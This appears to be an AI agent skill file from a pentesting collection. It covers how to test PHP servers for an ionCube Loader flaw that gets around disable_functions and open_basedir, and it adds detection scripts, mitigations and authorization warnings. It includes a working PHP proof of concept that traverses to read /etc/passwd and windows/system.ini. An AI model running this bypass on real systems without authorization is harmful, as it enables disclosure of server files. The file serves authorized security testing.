Hacktricks-skills php-ioncube-bypass
Use this skill when analyzing PHP applications for security vulnerabilities, specifically when investigating ionCube extension misconfigurations that may allow bypassing disable_functions and safe_mode restrictions. Trigger this skill when users mention PHP security testing, ionCube vulnerabilities, disable_functions bypass, safe_mode bypass, or PHP extension exploitation during authorized penetration testing. Always verify authorization before using these techniques.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit/SKILL.MDPHP ionCube Extension Security Analysis
A skill for security professionals to understand and test ionCube extension vulnerabilities in PHP applications during authorized penetration testing engagements.
⚠️ Authorization Required
This skill is for authorized security testing only. Only use these techniques on:
- Systems you own or have explicit written permission to test
- Bug bounty programs that explicitly allow this type of testing
- Your own security research environments
Unauthorized access to computer systems is illegal and unethical.
Overview
The ionCube Loader extension (particularly version 6.5 on PHP 5.2.4) contains functions that can bypass PHP's
disable_functions and safe_mode restrictions. This vulnerability exists because ionCube's internal functions operate at a lower level than standard PHP function restrictions.
Vulnerability Details
Affected Components
- ionCube Loader version: 6.5 (and potentially other versions)
- Extension file:
(Windows) / similar on other platformsioncube_loader_win_5.2.dll - PHP version: 5.2.4 (and potentially other versions)
- Affected functions:
,ioncube_read_file()ioncube_write_file()
Why This Works
When PHP's
disable_functions directive blocks functions like readfile(), file_get_contents(), etc., the ionCube extension's internal functions may still execute because:
- They're implemented in the extension's native code, not PHP
- They bypass the standard PHP function restriction mechanism
- They can read files outside of
restrictionsopen_basedir
Detection
Check if ionCube is Loaded
<?php if (extension_loaded("ionCube Loader")) { echo "ionCube Loader is loaded\n"; echo "Version: " . phpversion("ionCube Loader") . "\n"; } else { echo "ionCube Loader is NOT loaded\n"; } ?>
Check for Available Functions
<?php $ioncube_functions = [ 'ioncube_read_file', 'ioncube_write_file', 'ioncube_decode_file' ]; foreach ($ioncube_functions as $func) { if (function_exists($func)) { echo "Function $func is available\n"; } } ?>
Check PHP Restrictions
<?php echo "Safe Mode: " . ini_get("safe_mode") . "\n"; echo "Disable Functions: " . ini_get("disable_functions") . "\n"; echo "Open Basedir: " . ini_get("open_basedir") . "\n"; ?>
Testing Methodology
Step 1: Information Gathering
- Check if ionCube Loader is installed
- Identify the ionCube version
- Document current PHP restrictions (safe_mode, disable_functions, open_basedir)
- Note the target PHP version
Step 2: Function Availability Test
Test if ionCube functions are accessible despite restrictions:
<?php // Test ioncube_read_file availability if (function_exists('ioncube_read_file')) { echo "ioncube_read_file is available\n"; // Test with a safe file first $test_file = __FILE__; $result = @ioncube_read_file($test_file); if ($result !== false) { echo "ioncube_read_file works - restriction bypass confirmed\n"; } else { echo "ioncube_read_file exists but may be restricted\n"; } } ?>
Step 3: Path Traversal Testing
If ionCube functions are available, test path traversal capabilities:
<?php if (function_exists('ioncube_read_file')) { // Build path traversal string $path = str_repeat("../", 20); // Test reading system files (adjust based on OS) $targets = [ "windows" => $path . "windows/system.ini", "linux" => $path . "etc/passwd", "mac" => $path . "etc/passwd" ]; foreach ($targets as $os => $file) { echo "Testing $os: $file\n"; $result = @ioncube_read_file($file); if ($result !== false && strlen($result) > 0) { echo "SUCCESS: File readable\n"; echo "Content preview: " . substr($result, 0, 200) . "...\n"; break; } } } ?>
Mitigation Recommendations
For System Administrators
- Update ionCube Loader: Upgrade to the latest version where this vulnerability is patched
- Remove ionCube if not needed: If you don't use ionCube-protected code, disable the extension
- Use PHP-FPM with proper user isolation: Run PHP processes as unprivileged users
- Implement file system permissions: Restrict read access to sensitive files
- Monitor for suspicious activity: Log and alert on unusual file access patterns
For Developers
- Avoid relying on disable_functions for security: It's not a reliable security control
- Use proper authentication and authorization: Implement application-level access controls
- Keep PHP and extensions updated: Regularly patch known vulnerabilities
- Use modern PHP versions: PHP 5.2.4 is extremely outdated and has many known vulnerabilities
Reporting Findings
When documenting this vulnerability in a security report:
- CVSS Score: Typically Medium to High depending on impact
- Affected Component: ionCube Loader extension
- Impact: Information disclosure, potential code execution
- Remediation: Update ionCube, remove if not needed, implement additional controls
- Proof of Concept: Include sanitized test results showing the bypass
Legal and Ethical Considerations
- Always obtain written authorization before testing
- Document all testing activities
- Report findings responsibly to system owners
- Do not exploit vulnerabilities for unauthorized access
- Follow responsible disclosure practices
References
- ionCube Official Website
- PHP disable_functions Documentation
- PHP safe_mode Documentation (deprecated in PHP 5.4+)
- CVE databases for specific ionCube vulnerability entries
Related Skills
Consider using these skills in conjunction:
- PHP security testing
- Web application penetration testing
- Server configuration auditing
- File system security analysis